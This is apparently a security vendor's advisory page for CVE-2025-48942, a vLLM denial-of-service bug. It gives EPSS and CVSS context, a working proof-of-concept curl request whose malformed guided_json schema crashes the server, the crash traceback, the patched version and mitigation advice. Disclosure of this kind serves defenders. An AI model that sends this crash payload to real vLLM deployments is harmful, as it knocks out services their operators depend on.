CVE-2025-48942 is a medium-severity (CVSS 6.5) CWE-248 vulnerability in vllm. A fix is available for vllm — see the affected versions and patch details below.
vLLM DOS: Remotely kill vllm over http with invalid JSON schema
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-48942.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2025-48942 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
vllmReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Hitting the /v1/completions API with a invalid json_schema as a Guided Param will kill the vllm server
Details
The following API call
(venv) [derekh@ip-172-31-15-108 ]$ curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}'
will provoke a Uncaught exceptions from xgrammer in
./lib64/python3.11/site-packages/xgrammar/compiler.py
Issue with more information: https://github.com/vllm-project/vllm/issues/17248
PoC
Make a call to vllm with invalid json_scema e.g. {\"properties\":{\"reason\":{\"type\": \"stsring\"}}}
curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}'
Impact
vllm crashes
example traceback
ERROR 03-26 17:25:01 [core.py:340] EngineCore hit an exception: Traceback (most recent call last):
ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 333, in run_engine_core
ERROR 03-26 17:25:01 [core.py:340] engine_core.run_busy_loop()
ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 367, in run_busy_loop
ERROR 03-26 17:25:01 [core.py:340] outputs = step_fn()
ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 181, in step
ERROR 03-26 17:25:01 [core.py:340] scheduler_output = self.scheduler.schedule()
ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/core/scheduler.py", line 257, in schedule
ERROR 03-26 17:25:01 [core.py:340] if structured_output_req and structured_output_req.grammar:
ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py", line 41, in grammar
ERROR 03-26 17:25:01 [core.py:340] completed = self._check_grammar_completion()
ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py", line 29, in _check_grammar_completion
ERROR 03-26 17:25:01 [core.py:340] self._grammar = self._grammar.result(timeout=0.0001)
ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340] File "/usr/lib64/python3.11/concurrent/futures/_base.py", line 456, in result
ERROR 03-26 17:25:01 [core.py:340] return self.__get_result()
ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340] File "/usr/lib64/python3.11/concurrent/futures/_base.py", line 401, in __get_result
ERROR 03-26 17:25:01 [core.py:340] raise self._exception
ERROR 03-26 17:25:01 [core.py:340] File "/usr/lib64/python3.11/concurrent/futures/thread.py", line 58, in run
ERROR 03-26 17:25:01 [core.py:340] result = self.fn(*self.args, **self.kwargs)
ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/structured_output/__init__.py", line 120, in _async_create_grammar
ERROR 03-26 17:25:01 [core.py:340] ctx = self.compiler.compile_json_schema(grammar_spec,
ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/venv/lib64/python3.11/site-packages/xgrammar/compiler.py", line 101, in compile_json_schema
ERROR 03-26 17:25:01 [core.py:340] self._handle.compile_json_schema(
ERROR 03-26 17:25:01 [core.py:340] RuntimeError: [17:25:01] /project/cpp/json_schema_converter.cc:795: Check failed: (schema.is<picojson::object>()) is false: Schema should be an object or bool
ERROR 03-26 17:25:01 [core.py:340]
ERROR 03-26 17:25:01 [core.py:340]
CRITICAL 03-26 17:25:01 [core_client.py:269] Got fatal signal from worker processes, shutting down. See stack trace above for root cause issue.
Fix
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | vllm | ≥ 0.8.0&&< 0.9.0 | 0.9.0pip install --upgrade 'vllm==0.9.0' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vllm, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vllm to 0.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-48942 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-48942 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-48942. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-48942 in your dependencies?
O3 Security finds CVE-2025-48942 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.